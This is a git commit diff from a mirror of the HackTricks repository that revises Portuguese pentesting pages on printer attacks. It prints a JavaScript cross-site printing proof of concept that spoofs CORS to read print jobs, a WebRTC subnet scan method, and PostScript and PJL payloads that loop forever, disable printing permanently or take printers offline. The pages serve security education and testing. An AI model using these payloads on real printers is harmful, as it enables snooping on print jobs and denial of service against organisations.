mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['network-services-pentesting/pentesting-printers/cross-site-
This commit is contained in:
parent
1a8546f644
commit
9aa9fde716
23 changed files with 1032 additions and 1134 deletions
|
@ -1,90 +1,86 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Você pode fazer um usuário enviar uma solicitação HTTP POST para a porta 9100 de vários IPs tentando alcançar uma porta de impressão bruta aberta. Se encontrada, o **cabeçalho HTTP é impresso como texto simples ou descartado** com base nas configurações da impressora. No entanto, os **dados POST** podem **conter** trabalhos de impressão arbitrários como comandos **PostScript** ou **PJL** a serem **interpretados**.
|
Você pode fazer um usuário enviar uma requisição HTTP POST para a porta 9100 de vários IPs tentando alcançar uma porta de impressão raw aberta. Se encontrada, o **cabeçalho HTTP é impresso como texto simples ou descartado** dependendo das configurações da impressora. Os **dados POST**, no entanto, podem **conter** trabalhos de impressão arbitrários como comandos **PostScript** ou **PJL** para serem **interpretados**.
|
||||||
|
|
||||||
### Impressão avançada entre sites
|
### Impressão cross-site aprimorada
|
||||||
|
|
||||||
Você pode usar objetos JavaScript XMLHttpRequest (XHR), conforme definido em para realizar solicitações HTTP POST para impressoras internas. Uma limitação da abordagem de impressão entre sites discutida até agora é que **os dados só podem ser enviados para o dispositivo**, **não recebidos** por causa da política de mesma origem. Para **contornar** as **restrições** da política de mesma origem, você pode **fazer** o **servidor** responder com uma resposta HTTP falsa, mas **válida**, permitindo solicitações CORS (incluindo `Access-Control-Allow-Origin=*`). Uma visão esquemática do ataque é apresentada abaixo:
|
Você pode usar objetos JavaScript XMLHttpRequest (XHR) conforme definido para realizar requisições HTTP POST para impressoras internas. Uma limitação da abordagem de impressão cross-site discutida até agora é que **dados só podem ser enviados ao dispositivo**, **não recebidos** devido à política de mesma origem. Para **contornar** as **restrições** da política de mesma origem, você pode **fazer** com que o **servidor** responda com uma resposta HTTP falsa, mas **válida**, permitindo solicitações CORS (incluindo `Access-Control-Allow-Origin=*`). Uma visão esquemática do ataque é fornecida abaixo:
|
||||||
|
|
||||||
![Impressão avançada entre sites com falsificação de CORS](http://hacking-printers.net/wiki/images/thumb/c/ce/Cross-site-printing.png/900px-Cross-site-printing.png)
|
![Impressão cross-site avançada com spoofing de CORS](http://hacking-printers.net/wiki/images/thumb/c/ce/Cross-site-printing.png/900px-Cross-site-printing.png)
|
||||||
|
|
||||||
Nessa variante aprimorada de XSP - combinada com falsificação de CORS - um atacante da web tem acesso total à resposta HTTP, o que permite extrair informações arbitrárias, como trabalhos de impressão capturados do dispositivo de impressora. Um trecho de código JavaScript de prova de conceito é mostrado abaixo:
|
Nessa variante aprimorada de XSP – combinada com spoofing de CORS – um atacante web tem acesso total à resposta HTTP, o que lhe permite extrair informações arbitrárias como trabalhos de impressão capturados do dispositivo de impressão. Um exemplo de código JavaScript de prova de conceito é mostrado abaixo:
|
||||||
```javascript
|
```javascript
|
||||||
job = "\x1B%-12345X\r\n"
|
job = "\x1B%-12345X\r\n"
|
||||||
+ "%!\r\n"
|
+ "%!\r\n"
|
||||||
+ "(HTTP/1.0 200 OK\\n) print\r\n"
|
+ "(HTTP/1.0 200 OK\\n) print\r\n"
|
||||||
+ "(Server: PostScript HTTPD\\n) print\r\n"
|
+ "(Server: PostScript HTTPD\\n) print\r\n"
|
||||||
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
|
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
|
||||||
+ "(Connection: close\\n) print\r\n"
|
+ "(Connection: close\\n) print\r\n"
|
||||||
+ "(Content-Length: ) print\r\n"
|
+ "(Content-Length: ) print\r\n"
|
||||||
+ "product dup length dup string cvs print\r\n"
|
+ "product dup length dup string cvs print\r\n"
|
||||||
+ "(\\n\\n) print\r\n"
|
+ "(\\n\\n) print\r\n"
|
||||||
+ "print\r\n"
|
+ "print\r\n"
|
||||||
+ "(\\n) print flush\r\n"
|
+ "(\\n) print flush\r\n"
|
||||||
+ "\x1B%-12345X\r\n";
|
+ "\x1B%-12345X\r\n";
|
||||||
|
|
||||||
var x = new XMLHttpRequest();
|
var x = new XMLHttpRequest();
|
||||||
x.open("POST", "http://printer:9100");
|
x.open("POST", "http://printer:9100");
|
||||||
x.send(job);
|
x.send(job);
|
||||||
x.onreadystatechange = function() {
|
x.onreadystatechange = function() {
|
||||||
if (x.readyState == 4)
|
if (x.readyState == 4)
|
||||||
alert(x.responseText);
|
alert(x.responseText);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### Limitações do cross-site printing
|
### Limitações da impressão cross-site
|
||||||
|
|
||||||
Observe que o **PCL** como linguagem de descrição de página não é aplicável para spoofing de CORS porque permite apenas um **único número** ser **ecoado**. O **PJL** também não pode ser usado porque infelizmente ele adiciona `@PJL ECHO` a todas as strings ecoadas, o que torna impossível simular um cabeçalho HTTP válido. Isso, no entanto, não significa que os ataques **XSP aprimorados** estejam **limitados** a trabalhos **PostScript**: o PostScript pode ser usado para responder com um cabeçalho HTTP falsificado e **o** [**UEL**](./#uel)** pode ser invocado para mudar a linguagem da impressora**. Dessa forma, um atacante da web também pode obter os resultados para comandos PJL. Existem duas armadilhas de implementação que merecem ser mencionadas: primeiro, um `Content-Length` correto para os dados a serem respondidos precisa ser determinado com PostScript. Se o atacante não puder prever o tamanho geral da resposta e a codificação em blocos também não for uma opção, ela precisará definir um valor muito alto e usar preenchimento. Em segundo lugar, adicionar o campo de cabeçalho `Connection: close` é importante, caso contrário, as conexões HTTP/1.1 são mantidas vivas até que o cliente da web ou o dispositivo de impressora acione um tempo limite, o que significa que a impressora não estará acessível por algum tempo.
|
Note que **PCL** como linguagem de descrição de página **não é aplicável para spoofing de CORS** porque só permite que um **único número** seja **ecoado**. **PJL também não pode** ser usado porque, infelizmente, ele antepõe `@PJL ECHO` a todas as strings ecoadas, o que torna impossível simular um cabeçalho HTTP válido. No entanto, isso **não** significa que ataques XSP **aprimorados** estão **limitados** a trabalhos **PostScript**: PostScript pode ser usado para responder com um cabeçalho HTTP falsificado e **o** [**UEL**](./#uel) **pode ser invocado para mudar a linguagem da impressora**. Desta forma, um atacante web também pode obter os resultados para comandos PJL. Existem duas armadilhas de implementação que merecem ser mencionadas: Primeiro, um `Content-Length` correto para os dados a serem respondidos precisa ser determinado com PostScript. Se o atacante não pode prever o tamanho total da resposta e a codificação em partes também não é uma opção, ele precisa definir um valor muito alto e usar preenchimento. Segundo, adicionar o campo de cabeçalho `Connection: close` é importante, caso contrário, conexões HTTP/1.1 são mantidas ativas até que o cliente web ou o dispositivo da impressora acione um tempo limite, o que significa que a impressora não estará acessível por algum tempo.
|
||||||
|
|
||||||
**Se** o dispositivo de impressora suportar **impressão de texto simples**, o cabeçalho da solicitação **HTTP** do XHR é impresso como cópia impressa - incluindo o campo de cabeçalho `Origin` contendo a URL que invocou o JavaScript malicioso, tornando **difícil** para um atacante **ficar em silêncio**. Isso é inevitável, pois não ganhamos controle sobre a impressora - e em algumas circunstâncias podemos desativar a funcionalidade de impressão - até que o corpo HTTP seja processado e o cabeçalho HTTP já tenha sido interpretado como texto simples pelo dispositivo de impressora. Se reduzir o ruído for uma prioridade, o atacante pode, no entanto, **tentar desativar a funcionalidade de impressão primeiro** com comandos PJL proprietários, conforme proposto em [PJL jobmedia](http://hacking-printers.net/wiki/index.php/Document\_processing#PJL\_jobmedia) usando outros canais XSP potenciais como IPP, LPD, FTP ou o servidor web incorporado da impressora. Embora todos os protocolos possam ser testados com sucesso para implantar trabalhos de impressão usando variantes de script entre protocolos, eles têm algumas desvantagens além de não fornecerem feedback usando cabeçalhos CORS falsificados:
|
**Se** o dispositivo da impressora suporta **impressão de texto simples**, o cabeçalho da **solicitação HTTP** do XHR é impresso como cópia física – incluindo o campo de cabeçalho `Origin` contendo a URL que invocou o JavaScript malicioso, tornando **difícil** para um atacante **permanecer silencioso**. Isso é inevitável, pois não ganhamos controle sobre a impressora – e sob algumas circunstâncias podemos desativar a funcionalidade de impressão – até que o corpo HTTP seja processado e o cabeçalho HTTP já tenha sido interpretado como texto simples pelo dispositivo da impressora. Se reduzir o ruído é uma prioridade, o atacante pode, no entanto, **tentar desativar primeiro a funcionalidade de impressão** com comandos PJL proprietários conforme proposto em [PJL jobmedia](http://hacking-printers.net/wiki/index.php/Document_processing#PJL_jobmedia) usando outros canais XSP potenciais como IPP, LPD, FTP ou o servidor web embutido da impressora. Embora todos os protocolos pudessem ser testados com sucesso para implantar trabalhos de impressão usando variantes de scripting entre protocolos, eles têm algumas desvantagens além de não fornecer feedback usando cabeçalhos CORS falsificados:
|
||||||
|
|
||||||
* O acesso entre protocolos às portas LPD e FTP é bloqueado por vários navegadores da web
|
* O acesso cross-protocol a portas LPD e FTP é bloqueado por vários navegadores web
|
||||||
* Os parâmetros para impressão direta no servidor web incorporado são específicos do modelo
|
* Parâmetros para impressão direta pelo servidor web embutido são específicos do modelo
|
||||||
* O padrão IPP requer que o `Content-type` para solicitações HTTP POST seja definido como `application/ipp`, o que não pode ser feito com objetos XHR - no entanto, cabe à implementação realmente se importar com tipos incorretos
|
* O padrão IPP exige que o `Content-type` para solicitações HTTP POST seja definido como `application/ipp`, o que não pode ser feito com objetos XHR – no entanto, cabe à implementação realmente se preocupar com tipos incorretos
|
||||||
|
|
||||||
Uma comparação dos canais de impressão entre sites é apresentada abaixo:
|
Uma comparação dos canais de impressão cross-site é dada abaixo:
|
||||||
|
|
||||||
| Canal | Porta | Sem feedback | Impressões não solicitadas | Padronizado | Bloqueado por |
|
| Canal | Porta | Sem Feedback | Impressões não solicitadas | Padronizado | Bloqueado por |
|
||||||
| ----- | ----- | ------------ | ------------------------- | ----------- | ------------- |
|
| ------ | ----- | ------------ | -------------------------- | ----------- | ------------- |
|
||||||
| Raw | 9100 | - | ✔ | ✔ | - |
|
| Raw | 9100 | - | ✔ | ✔ | - |
|
||||||
| Web | 80 | ✔ | - | - | - |
|
| Web | 80 | ✔ | - | - | - |
|
||||||
| IPP | 631 | ✔ | - | ✔ | - |
|
| IPP | 631 | ✔ | - | ✔ | - |
|
||||||
| LPD | 515 | ✔ | - | ✔ | FF, Ch, Op |
|
| LPD | 515 | ✔ | - | ✔ | FF, Ch, Op |
|
||||||
| FTP | 21 | ✔ | - | ✔ | FF, Ch, Op, IE |
|
| FTP | 21 | ✔ | - | ✔ | FF, Ch, Op, IE|
|
||||||
|
|
||||||
Um grande problema do XSP é **encontrar** o **endereço correto** ou o nome do **host da impressora**. Nossa abordagem é **abusar do WebRTC**, que é implementado na maioria dos navegadores modernos e tem a função de enumerar endereços IP para interfaces de rede locais. Dado o endereço IP local, objetos XHR são usados para abrir conexões com a porta **9100/tcp** para os 253 endereços restantes para recuperar o nome do produto da impressora usando PostScript e spoofing de CORS, o que leva apenas alguns segundos em nossos testes. Se a impressora estiver na mesma sub-rede que o host da vítima, seu endereço pode ser detectado apenas usando JavaScript. O WebRTC está em desenvolvimento para o Safari e é suportado pelas versões atuais do Firefox, Chrome e Microsoft Edge. O Internet Explorer não tem suporte ao WebRTC, mas o VBScript e o Java também podem ser usados para vazar o endereço IP local. Se o endereço da interface local não puder ser recuperado, aplicamos uma abordagem de força bruta inteligente: tentamos conectar à porta 80 do roteador da vítima usando objetos XHR. Para isso, foi compilada uma lista de 115 endereços de roteador padrão de vários recursos acessíveis pela Internet. Se um roteador estiver acessível, escaneamos a sub-rede em busca de impressoras, conforme descrito anteriormente.
|
Um grande problema do XSP é **encontrar** o **endereço correto** ou nome do host da **impressora**. Nossa abordagem é **abusar do WebRTC** que é implementado na maioria dos navegadores modernos e tem o recurso de enumerar endereços IP para interfaces de rede locais. Dado o endereço IP local, objetos XHR são usados para abrir conexões com a porta **9100/tcp** para todos os 253 endereços restantes para recuperar o nome do produto da impressora usando PostScript e spoofing de CORS, o que leva apenas segundos em nossos testes. Se a impressora estiver na mesma sub-rede que o host da vítima, seu endereço pode ser detectado usando apenas JavaScript. O WebRTC está em desenvolvimento para o Safari e é suportado pelas versões atuais do Firefox, Chrome e Microsoft Edge. O Internet Explorer não tem suporte para WebRTC, mas VBScript e Java também podem ser usados para vazar o endereço IP local. Se o endereço da interface local não puder ser recuperado, aplicamos uma abordagem de força bruta inteligente: Tentamos nos conectar à porta 80 do roteador da vítima usando objetos XHR. Para isso, uma lista de 115 endereços padrão de roteadores de vários recursos acessíveis pela Internet foi compilada. Se um roteador for acessível, escaneamos a sub-rede em busca de impressoras como descrito anteriormente.
|
||||||
|
|
||||||
## Prova de conceito
|
## Prova de conceito
|
||||||
|
|
||||||
Uma implementação de prova de conceito que demonstra que os ataques avançados de impressão entre sites são práticos e uma ameaça real para empresas e instituições está disponível em [hacking-printers.net/xsp/](http://hacking-printers.net/xsp/)
|
Uma implementação de prova de conceito demonstrando que ataques avançados de impressão cross-site são práticos e uma ameaça real para empresas e instituições está disponível em [hacking-printers.net/xsp/](http://hacking-printers.net/xsp/)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,19 @@
|
||||||
Linguagens de descrição de página permitem loops infinitos ou cálculos que requerem muito tempo de computação. Mesmo linguagens minimalistas como [PCL](http://hacking-printers.net/wiki/index.php/PCL) podem ser usadas para fazer upload de macros ou fontes permanentes até que a memória disponível seja consumida.
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Linguagens de descrição de página que permitem loops infinitos ou cálculos que requerem muito tempo de computação. Até linguagens minimalistas como [PCL](http://hacking-printers.net/wiki/index.php/PCL) podem ser usadas para carregar macros permanentes ou fontes até que a memória disponível seja consumida.
|
||||||
|
|
||||||
# PostScript
|
# PostScript
|
||||||
|
|
||||||
|
@ -7,7 +22,7 @@ Linguagens de descrição de página permitem loops infinitos ou cálculos que r
|
||||||
%!
|
%!
|
||||||
{} loop
|
{} loop
|
||||||
```
|
```
|
||||||
Usando [PRET](https://github.com/RUB-NDS/PRET):
|
Utilizando [PRET](https://github.com/RUB-NDS/PRET):
|
||||||
```
|
```
|
||||||
./pret.py -q printer ps
|
./pret.py -q printer ps
|
||||||
Connection to printer established
|
Connection to printer established
|
||||||
|
@ -20,12 +35,12 @@ Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
|
||||||
```
|
```
|
||||||
## Redefinir showpage
|
## Redefinir showpage
|
||||||
|
|
||||||
Ao definir `showpage` - que é usado em todos os documentos para realmente imprimir a página - para não fazer nada, os trabalhos do PostScript são processados, mas nada será impresso.
|
Ao definir `showpage` – que é usado em todos os documentos para efetivamente imprimir a página – para não fazer nada, os trabalhos PostScript são processados, mas não imprimirão nada.
|
||||||
```
|
```
|
||||||
true 0 startjob
|
true 0 startjob
|
||||||
/showpage {} def
|
/showpage {} def
|
||||||
```
|
```
|
||||||
Usando [PRET](https://github.com/RUB-NDS/PRET):
|
Utilizando [PRET](https://github.com/RUB-NDS/PRET):
|
||||||
```
|
```
|
||||||
./pret.py -q printer ps
|
./pret.py -q printer ps
|
||||||
Connection to printer established
|
Connection to printer established
|
||||||
|
@ -34,13 +49,13 @@ Welcome to the pret shell. Type help or ? to list commands.
|
||||||
printer:/> disable
|
printer:/> disable
|
||||||
Disabling printing functionality
|
Disabling printing functionality
|
||||||
```
|
```
|
||||||
Ambos códigos de ataque também podem ser escritos em arquivos Sys/Start, startup.ps ou similares para causar uma **DoS permanente** em dispositivos com disco gravável.
|
Ambos os códigos de ataque também podem ser escritos em arquivos Sys/Start, startup.ps ou similares para causar um **DoS permanente** em dispositivos com disco gravável.
|
||||||
|
|
||||||
# PJL
|
# PJL
|
||||||
|
|
||||||
## PJL jobmedia
|
## PJL jobmedia
|
||||||
|
|
||||||
Comandos PJL proprietários podem ser usados para colocar dispositivos mais antigos da HP, como a série LaserJet 4k, em modo de serviço e desativar completamente toda a funcionalidade de impressão, como mostrado abaixo:
|
Comandos proprietários PJL podem ser usados para configurar dispositivos HP antigos, como a série LaserJet 4k, no modo de serviço e desativar completamente todas as funcionalidades de impressão, conforme mostrado abaixo:
|
||||||
```
|
```
|
||||||
@PJL SET SERVICEMODE=HPBOISEID
|
@PJL SET SERVICEMODE=HPBOISEID
|
||||||
@PJL DEFAULT JOBMEDIA=OFF
|
@PJL DEFAULT JOBMEDIA=OFF
|
||||||
|
@ -56,11 +71,11 @@ Printing functionality: OFF
|
||||||
```
|
```
|
||||||
## Modo offline
|
## Modo offline
|
||||||
|
|
||||||
Além disso, o padrão PJL define o comando `OPMSG` que "solicita que a impressora exiba uma mensagem especificada e fique offline" \cite{hp1997pjl}. Isso pode ser usado para simular um atolamento de papel, como mostrado abaixo:
|
Além disso, o padrão PJL define o comando `OPMSG` que 'solicita que a impressora exiba uma mensagem especificada e fique offline' \cite{hp1997pjl}. Isso pode ser usado para simular um atolamento de papel, conforme mostrado abaixo:
|
||||||
```
|
```
|
||||||
@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
|
@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
|
||||||
```
|
```
|
||||||
Usando [PRET](https://github.com/RUB-NDS/PRET):
|
Utilizando [PRET](https://github.com/RUB-NDS/PRET):
|
||||||
```
|
```
|
||||||
./pret.py -q printer pjl
|
./pret.py -q printer pjl
|
||||||
Connection to printer established
|
Connection to printer established
|
||||||
|
@ -71,21 +86,18 @@ Warning: Taking the printer offline will prevent yourself and others
|
||||||
from printing or re-connecting to the device. Press CTRL+C to abort.
|
from printing or re-connecting to the device. Press CTRL+C to abort.
|
||||||
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
|
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
|
||||||
```
|
```
|
||||||
Saiba mais sobre esses ataques em [http://hacking-printers.net/wiki/index.php/Document_processing](http://hacking-printers.net/wiki/index.php/Document_processing)
|
**Saiba mais sobre esses ataques em** [**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document\_processing)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,37 +1,35 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
